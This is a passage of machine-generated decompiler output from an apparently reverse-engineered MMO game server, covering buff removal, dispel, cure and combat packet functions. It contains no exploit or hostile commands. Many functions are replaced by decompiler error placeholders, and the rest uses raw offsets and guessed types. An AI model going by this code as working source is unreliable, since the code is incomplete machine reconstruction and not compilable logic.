this->ts_CallFunc = fnc; this->ts_TimerFunc = ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck; this->ts_DefaultReturn = defaultreturn; this->ts_CurWork = work; } } //----- (0041BF70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack(ShineObjectClass::ShinePlayer::TimeScheduler *this) { ShineObjectClass::ShinePlayer::TimeScheduler::TS_CurWork v1; // eax@1 v1 = this->ts_CurWork; return v1 == 2 || v1 == 3; } //----- (0041BF90) -------------------------------------------------------- #error "41BF90: undefined or illegal type '#331' (funcsize=5)" //----- (0041BFA0) -------------------------------------------------------- #error "41BFA0: undefined or illegal type '#331' (funcsize=27)" //----- (0041C000) -------------------------------------------------------- void __thiscall AxialListTargetInform::_AxialListTargetInform(AxialListTargetInform *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListTargetInform::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 59AD48: using guessed type int (__stdcall *AxialListTargetInform___vftable_)(int, int, int distancesquar); //----- (0041C010) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GetTargetObject(int this) { return *(_DWORD *)(this + 8900); } //----- (0041C020) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShinePlayer::EraseGoodBuff(void *this, int index, __int16 notfinderrortype) { AbnormalStateInfo::ABSTATEINDEX v3; // esi@1 int v4; // eax@3 signed __int16 result; // ax@4 int v6; // eax@5 #331 *v7; // eax@9 v3 = (AbnormalStateInfo::ABSTATEINDEX)this; if ( index >= 391 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", index); LABEL_4: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::EraseAbstate : Not Find Abstate Index :", index); return notfinderrortype; } v4 = dword_608008[index]; if ( !v4 ) goto LABEL_4; v6 = *(_DWORD *)(*(_DWORD *)v4 + 244); if ( v6 != 1 && v6 ) { result = 7282; } else { if ( (*(int (__stdcall **)(int))(*(_DWORD *)this + 988))(index) ) { (*(void (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX, int))(*(_DWORD *)v3 + 1544))(v3, index); v7 = (#331 *)(*(int (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)v3 + 1304))(v3); AbnormalStateContainer::AbstateListInObject::asl_AbstateReset(v7, v3); (*(void (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)v3 + 1300))(v3); result = 7280; } else { result = notfinderrortype; } } return result; } //----- (0041C0E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_SkillEnchant(#331 *this, #331 *a2, SmashArgument *arg, BattleObjectGroup::BattleObjectStruct *battleobject, char *resist, char isenemy) { return 0; } //----- (0041C0F0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineObject::so_attack(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned __int16 mobid, unsigned int addvalue) { return 0; } //----- (0041C100) -------------------------------------------------------- #error "41C100: undefined or illegal type '#748' (funcsize=7)" //----- (0041C120) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_BashStop(int this) { char *v1; // eax@1 int v2; // esi@1 int v3; // ST04_4@1 int v4; // eax@1 AxialListPacketBroadcast alchat; // [sp+4h] [bp-18h]@1 int v6; // [sp+18h] [bp-4h]@1 v1 = gpp.pp_Buffer; v2 = this; *(_WORD *)gpp.pp_Buffer = 9277; *((_WORD *)v1 + 1) = *(_WORD *)(this + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v3 = *(_DWORD *)(v2 + 78); v6 = 0; v4 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v2, v4, v3, 0, 0, (int)&alchat, 1, 65535); v6 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (0041C1B0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_Bash(int engarg, int resthp, int abstate, int absstrength, int absrate, int aggroclear) { *(_DWORD *)resthp = 0; return 0; } //----- (0041C1C0) -------------------------------------------------------- #error "41C1C0: undefined or illegal type '#331' (funcsize=136)" //----- (0041C320) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mobile_IsImmortal(void *this) { return (*(int (__stdcall **)(_DWORD))(*(_DWORD *)this + 988))(198); } //----- (0041C330) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SetNaturalEnemy(int this, int NewNaturalEnemy) { int result; // eax@1 result = NewNaturalEnemy; *(_DWORD *)(this + 7424) = NewNaturalEnemy; return result; } //----- (0041C340) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_GetNaturalEnemy(int this) { return *(_DWORD *)(this + 7424); } //----- (0041C350) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_IsEthereal(void *this) { return (*(int (__stdcall **)(_DWORD))(*(_DWORD *)this + 988))(326); } //----- (0041C360) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_GetInArray(List *this, unsigned __int16 handle, char *inlist) { AbnormalStateContainer::AbstateElementInObject *result; // eax@4 if ( inlist ) *inlist = 0; if ( handle < this->l_MaxSize ) { if ( inlist ) *inlist = this->l_Array[handle].ls_IsActiv; result = this->l_Array[handle].ls_Content; } else { result = 0; } return result; } //----- (0041C3B0) -------------------------------------------------------- void __cdecl std::fill(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Val) { AbnormalStateContainer::AbstateElementInObject *v3; // eax@1 void *v4; // edi@2 v3 = _First; while ( v3 != _Last ) { v4 = v3; v3 = (AbnormalStateContainer::AbstateElementInObject *)((char *)v3 + 116); memcpy(v4, _Val, 0x74u); } } //----- (0041C3E0) -------------------------------------------------------- #error "41C3E0: undefined or illegal type '#331' (funcsize=112)" //----- (0041C570) -------------------------------------------------------- #error "41C570: undefined or illegal type '#331' (funcsize=58)" //----- (0041C670) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetTargetObject(int this) { return *(_DWORD *)(this + 32180); } //----- (0041C680) -------------------------------------------------------- #error "41C680: undefined or illegal type '#331' (funcsize=162)" //----- (0041C8C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S6_58 & 1) ) { _S6_58 |= 1u; cmc.cmc_AllowMode = 126; atexit(_E7_34); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc.cmc_AllowMode ) { *((_DWORD *)v4 + 8045) = 0; *((_BYTE *)v4 + 32172) = 0; (*(void (__thiscall **)(void *, _DWORD, signed int))(*(_DWORD *)v4 + 2464))(v4, 0, 1); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ"); } //----- (0041C9C0) -------------------------------------------------------- #error "41C9C0: undefined or illegal type '#331' (funcsize=82)" //----- (0041CB10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebp@1 int v5; // esi@4 int v6; // ebx@6 AbnormalStateDictionary::AbState::AbStateStr *v7; // eax@9 signed __int16 v8; // ax@11 char *v9; // ecx@13 int v10; // eax@15 v4 = this; if ( !(_S10_2 & 1) ) { _S10_2 |= 1u; cmc_1.cmc_AllowMode = 126; atexit(_E11_2); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_1.cmc_AllowMode ) { v5 = *(_WORD *)(netcmd + 2); if ( v5 >= 391 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", *(_WORD *)(netcmd + 2)); LABEL_7: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ : Not Find Abstate Index :", v5); return; } v6 = dword_608008[v5]; if ( !v6 ) goto LABEL_7; if ( !strncmp( (const char *)(*(_DWORD *)v6 + 253), (const char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 2) ) goto LABEL_18; v7 = AbnormalStateDictionary::AbState::as_FromName(&dic_abstate, (char *)(*(_DWORD *)v6 + 253)); if ( !v7 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ : Not Find MainAbstate Index :", (const char *)(*(_DWORD *)v6 + 253)); return; } v8 = ShineObjectClass::ShinePlayer::EraseGoodBuff(v4, v7->index->AbStataIndex, 7282); if ( v8 == 7280 ) LABEL_18: v8 = ShineObjectClass::ShinePlayer::EraseGoodBuff(v4, *(_DWORD *)(*(_DWORD *)v6 + 34), 7281); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9301; *((_WORD *)v9 + 1) = v8; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ : Packet Too Long", 4); } } } //----- (0041CC80) -------------------------------------------------------- #error "41CC80: undefined or illegal type '#331' (funcsize=71)" //----- (0041CD90) -------------------------------------------------------- #error "41CD90: undefined or illegal type '#331' (funcsize=155)" //----- (0041CFA0) -------------------------------------------------------- #error "41CFA0: undefined or illegal type '#331' (funcsize=166)" //----- (0041D1F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_Dispel(#331 *this, SmashArgument *a2, BattleObjectGroup::BattleObjectStruct *rst, unsigned int battleobject) { SmashArgument *v4; // ebp@1 int v5; // esi@5 int v6; // eax@5 int v8; // eax@7 int v9; // ecx@7 unsigned __int16 v10; // si@7 unsigned __int16 v11; // bx@7 int v12; // eax@8 int v13; // eax@9 int v14; // esi@10 unsigned int v15; // eax@11 char *v16; // eax@11 int v17; // ecx@11 signed int v18; // eax@12 int v19; // edi@13 int v20; // eax@16 AbnormalStateContainer::AbnormalStateElement *v21; // eax@26 int v22; // eax@28 int v23; // ST18_4@31 int v24; // ST10_4@31 int v25; // eax@31 int v26; // eax@32 char v27; // bl@34 char *v28; // [sp-8h] [bp-34h]@5 void *v29; // [sp+Ch] [bp-20h]@1 unsigned int selector; // [sp+14h] [bp-18h]@7 int v31; // [sp+1Ch] [bp-10h]@0 char v32; // [sp+30h] [bp+4h]@7 int attrbit; // [sp+3Ch] [bp+10h]@0 v29 = (void *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Dispel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_Dispel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = a2; if ( !a2 || (unsigned __int8)(*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&a2->actionnumber + 1136))(a2) == 3 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Dispel"); return 0; } if ( *(_BYTE *)((*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&a2->actionnumber + 2344))(a2) + 88) & 1 && attrbit & 2 ) { v5 = *(_DWORD *)&a2->actionnumber; v6 = (*(int (__thiscall **)(SmashArgument *, signed int, signed int))(*(_DWORD *)&a2->actionnumber + 1236))( a2, 1000, 1); (*(void (__thiscall **)(SmashArgument *, SmashArgument *, int))(v5 + 1436))(a2, a2, v6); --funcallanalizer.fca_stackpoint; v28 = "ShineObjectClass::ShineMobileObject::so_Dispel"; LABEL_6: FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v28); return 1; } selector = 1; v8 = (*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&a2->actionnumber + 1304))(a2); v9 = *(_DWORD *)(v8 + 3488); v10 = *(_WORD *)(v9 + 12 * *(_WORD *)(v8 + 3494) + 4); v11 = *(_WORD *)(v9 + 12 * *(_WORD *)(v9 + 12 * *(_WORD *)(v8 + 3494) + 4) + 4); v32 = 0; while ( 1 ) { v12 = (*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&v4->actionnumber + 1304))(v4); if ( v10 >= *(_WORD *)(v12 + 3484) || (v13 = *(_DWORD *)(v12 + 3488) + 12 * v10, !*(_BYTE *)(v13 + 8)) || (v14 = *(_DWORD *)v13) == 0 ) { LABEL_35: v27 = v32; goto LABEL_36; } v15 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v15; v16 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v15]]; v17 = *((_DWORD *)v16 + 8193) & (*((_DWORD *)v16 + 8192) + 1); *((_DWORD *)v16 + 8192) = v17; if ( *(_WORD *)&v16[2 * v17] <= 0x3E8u ) { v18 = *(_DWORD *)(v14 + 4); if ( v18 < 391 ) { v19 = dword_608008[v18]; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", *(_DWORD *)(v14 + 4)); v19 = 0; } if ( (1 << *(_DWORD *)(*(_DWORD *)v19 + 244)) & attrbit ) { v20 = rst->bos_Damage; if ( *(_BYTE *)(v20 + 136) == 1 ) { *(_DWORD *)(v14 + 24) = clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; v28 = "ShineObjectClass::ShineMobileObject::so_Dispel"; goto LABEL_6; } if ( *(_BYTE *)(v20 + 128) == 1 ) { *(_DWORD *)(v14 + 24) = clockwatch.cw_CurrTick; v32 = 1; goto LABEL_28; } if ( *(_BYTE *)(v20 + 144) == 1 ) { if ( selector == 1 || !RandomBox::operator__(&rndbox, selector) ) v31 = v14; ++selector; } if ( *(_BYTE *)(rst->bos_Damage + 232) == 1 ) { if ( !AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement((AbnormalStateContainer::AbstateElementInObject *)v14) || (v21 = AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement((AbnormalStateContainer::AbstateElementInObject *)v14), !v21->vfptr->ase_IsAbstateIconHide(v21)) ) { if ( (signed int)RandomBox::rb_1000(&rndbox) < *(_DWORD *)(rst->bos_Damage + 236) ) break; } } } } LABEL_28: v22 = (*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&v4->actionnumber + 1304))(v4); if ( v11 >= *(_WORD *)(v22 + 3484) ) goto LABEL_35; v10 = v11; v11 = *(_WORD *)(*(_DWORD *)(v22 + 3488) + 12 * v11 + 4); } v23 = *(_DWORD *)(v14 + 76); v24 = *(_DWORD *)(v14 + 20); v25 = *(_BYTE *)(v14 + 16); *(_DWORD *)(v14 + 24) = clockwatch.cw_CurrTick; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v29 + 1528))(v29) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v29, *(_DWORD *)(*(_DWORD *)v19 + 34)); v26 = *(_DWORD *)(v19 + 36 * *(_BYTE *)(v14 + 16) + 8); if ( v26 ) { (*(void (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v29 + 992))( v29, *(_DWORD *)(*(_DWORD *)v19 + 34), *(_DWORD *)(v26 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v29, *(_DWORD *)(*(_DWORD *)v19 + 34), *(_DWORD *)(*(_DWORD *)(v19 + 36 * *(_BYTE *)(v14 + 16) + 8) + 43), *(_BYTE *)(v14 + 16)); } } v27 = 1; LABEL_36: if ( (signed int)selector > 1 ) { *(_BYTE *)v31 |= 2u; *(_DWORD *)(v31 + 24) = clockwatch.cw_CurrTick; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Dispel"); return v27; } // 41D1F0: inconsistent function type and number of purged bytes //----- (0041D5E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_SkillCure(#331 *this, SmashArgument *a2, BattleObjectGroup::BattleObjectStruct *step) { SmashArgument *v3; // edi@1 int v4; // eax@3 int v5; // eax@4 int v6; // ecx@4 unsigned __int16 v7; // si@4 unsigned __int16 v8; // bp@4 char v9; // bl@4 int v10; // eax@5 int v11; // eax@6 int v12; // esi@7 unsigned int v13; // eax@8 char *v14; // eax@8 int v15; // ecx@8 signed int v16; // eax@9 int v17; // eax@10 int v18; // eax@12 int v19; // ecx@12 int v20; // eax@15 char result; // al@18 signed int v22; // [sp+20h] [bp+4h]@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SkillCure"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_SkillCure"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2; if ( a2 && (unsigned __int8)(*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&a2->actionnumber + 1136))(a2) != 3 && (v4 = step->bos_Damage, *(_BYTE *)(v4 + 80)) ) { v22 = *(_DWORD *)(v4 + 84); v5 = (*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&v3->actionnumber + 1304))(v3); v6 = *(_DWORD *)(v5 + 3488); v7 = *(_WORD *)(v6 + 12 * *(_WORD *)(v5 + 3494) + 4); v8 = *(_WORD *)(v6 + 12 * *(_WORD *)(v6 + 12 * *(_WORD *)(v5 + 3494) + 4) + 4); v9 = 0; while ( 1 ) { v10 = (*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&v3->actionnumber + 1304))(v3); if ( v7 >= *(_WORD *)(v10 + 3484) ) break; v11 = *(_DWORD *)(v10 + 3488) + 12 * v7; if ( !*(_BYTE *)(v11 + 8) ) break; v12 = *(_DWORD *)v11; if ( !*(_DWORD *)v11 ) break; v13 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v13; v14 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v13]]; v15 = *((_DWORD *)v14 + 8193) & (*((_DWORD *)v14 + 8192) + 1); *((_DWORD *)v14 + 8192) = v15; if ( *(_WORD *)&v14[2 * v15] <= 0x3E8u ) { v16 = *(_DWORD *)(v12 + 4); if ( v16 < 391 ) { v17 = dword_608008[v16]; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", *(_DWORD *)(v12 + 4)); v17 = 0; } v18 = *(_DWORD *)v17; v19 = *(_DWORD *)(v18 + 244); if ( v19 == 3 || v19 == 4 ) { if ( *(_BYTE *)(v18 + 43) <= v22 ) { *(_BYTE *)v12 |= 1u; *(_DWORD *)(v12 + 24) = clockwatch.cw_CurrTick; v9 = 1; break; } } } v20 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->actionnumber + 1304))(v3); if ( v8 >= *(_WORD *)(v20 + 3484) ) break; v7 = v8; v8 = *(_WORD *)(*(_DWORD *)(v20 + 3488) + 12 * v8 + 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SkillCure"); result = v9; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SkillCure"); result = 0; } return result; } // 41D5E0: inconsistent function type and number of purged bytes //----- (0041D800) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_smash(void *this, int engarg) { void *v2; // ebp@1 int v3; // ebx@1 int v4; // eax@1 int v5; // ecx@1 char *v6; // esi@4 __int16 v7; // ax@4 int v8; // eax@4 int v9; // edx@4 int v10; // ST18_4@4 int v11; // ST04_4@4 int v12; // eax@4 __int16 v13; // ax@5 int v14; // eax@7 int v16; // [sp+8h] [bp-2Ch]@0 int v17; // [sp+Ch] [bp-28h]@0 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@4 int v19; // [sp+30h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smash"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_smash"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_smash : Must be changed as Bash", 0); v3 = (*(int (__stdcall **)(int, int, int))(**((_DWORD **)v2 + 1853) + 28))(engarg, v16, v17); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1380))(v2); (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 1380))(); v4 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1236))(); v5 = *(_DWORD *)(engarg + 4); if ( v3 < v4 ) { (*(void (__stdcall **)(void *, int))(*(_DWORD *)v5 + 1436))(v2, v3); *(_BYTE *)(engarg + 18) = 0; } else { (*(void (__stdcall **)(void *, int))(*(_DWORD *)v5 + 1432))(v2, v4); *(_BYTE *)(engarg + 18) = 1; } v6 = gpp.pp_Buffer; v7 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2400; *(_WORD *)gpp.pp_Buffer = v7; *(_WORD *)v6 = v7 ^ (v7 ^ ((*(_BYTE *)(engarg + 18) != 0) + 22)) & 0x3FF; *((_WORD *)v6 + 1) = *((_WORD *)v2 + 2); *((_WORD *)v6 + 2) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v6[6] = *(_BYTE *)(engarg + 14); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 7); v8 = *(_DWORD *)((char *)v2 + 78); v9 = *((_WORD *)v6 + 2); LOBYTE(v19) = 1; v10 = v9; v11 = v8; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v12, v11, 0, 0, (int)&alchat, 0, v10); if ( (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1212))() == 2 ) { *(_WORD *)v6 = 9236; v6[6] = *(_BYTE *)(engarg + 15); v13 = *((_WORD *)v6 + 2) & 0xFFFE | *(_BYTE *)(engarg + 18) & 1; *((_WORD *)v6 + 2) = v13; *((_WORD *)v6 + 2) = 4 * v3 | (v13 & 1 | (unsigned __int8)(2 * (*(_BYTE *)(engarg + 16) & 1))) & 3; *((_WORD *)v6 + 1) = *((_WORD *)v2 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v14 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, *(_DWORD *)(engarg + 4), &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_smash : Packet Too Long", 7); } } LOBYTE(v19) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smash"); return v3; } //----- (0041DA40) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_smash(void *this, int engarg) { void *v2; // edi@1 int v3; // eax@1 char *v4; // ecx@1 int v5; // ebp@1 __int16 v6; // ax@1 int v7; // esi@2 __int16 v8; // ax@3 int v9; // eax@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_smash"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_smash"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectClass::ShineMobileObject::so_smash(v2, engarg); v4 = gpp.pp_Buffer; v5 = v3; v6 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2400; *(_WORD *)gpp.pp_Buffer = v6; if ( *(_BYTE *)(engarg + 17) ) { *(_WORD *)v4 = v6 & 0xFC15 | 0x15; *((_WORD *)v4 + 1) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v4[4] = *(_BYTE *)(engarg + 15); v7 = 5; } else { *(_WORD *)v4 = v6 & 0xFC13 | 0x13; *((_WORD *)v4 + 1) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v4[6] = *(_BYTE *)(engarg + 15); v8 = *((_WORD *)v4 + 2) & 0xFFFE | *(_BYTE *)(engarg + 18) & 1; *((_WORD *)v4 + 2) = v8; v7 = 7; *((_WORD *)v4 + 2) = 4 * v5 | (v8 & 1 | (unsigned __int8)(2 * (*(_BYTE *)(engarg + 16) & 1))) & 3; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, v7) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_smash : Packet Too Long", v7); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_smash"); return v5; } //----- (0041DBC0) -------------------------------------------------------- #error "41DBC0: undefined or illegal type '#331' (funcsize=54)" //----- (0041DC90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_attack(#331 *this, int a2, int damage) { void *v3; // edi@1 int v4; // ebp@1 signed __int16 v5; // dx@3 signed __int16 v6; // bp@3 char *v7; // eax@5 __int16 v8; // cx@5 signed int v9; // eax@6 int v10; // ST04_4@8 int v11; // eax@8 int result; // eax@8 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@8 int v14; // [sp+28h] [bp-4h]@1 char actionnumber; // [sp+38h] [bp+Ch]@0 int v16; // [sp+3Ch] [bp+10h]@0 v3 = (void *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_attack"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_attack"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_attack called", 0); v4 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1236))(a2); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1136))(a2) == 3 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_attack"); result = 0; } else { (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 1380))(v3); (*(void (__thiscall **)(int))(*(_DWORD *)a2 + 1380))(a2); if ( v16 < v4 ) { (*(void (__thiscall **)(int, void *, int))(*(_DWORD *)a2 + 1436))(a2, v3, v16); v5 = 5; v6 = 4; } else { (*(void (__thiscall **)(int, void *, int))(*(_DWORD *)a2 + 1432))(a2, v3, v4); v5 = 7; v6 = 6; } v7 = gpp.pp_Buffer; v8 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2400; *(_WORD *)gpp.pp_Buffer = v8; if ( v16 < 256 ) { *(_WORD *)v7 = v8 ^ (v6 ^ v8) & 0x3FF; *((_WORD *)v7 + 1) = *((_WORD *)v3 + 2); *((_WORD *)v7 + 2) = *(_WORD *)(a2 + 4); v7[6] = v16; v7[7] = actionnumber; v9 = 6; } else { *(_WORD *)v7 = v8 ^ (v5 ^ v8) & 0x3FF; *((_WORD *)v7 + 1) = *((_WORD *)v3 + 2); *((_WORD *)v7 + 2) = *(_WORD *)(a2 + 4); *((_WORD *)v7 + 3) = v16; v7[8] = actionnumber; v9 = 7; } AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, v9 + 2); v10 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v14) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v11, v10, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v14) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, 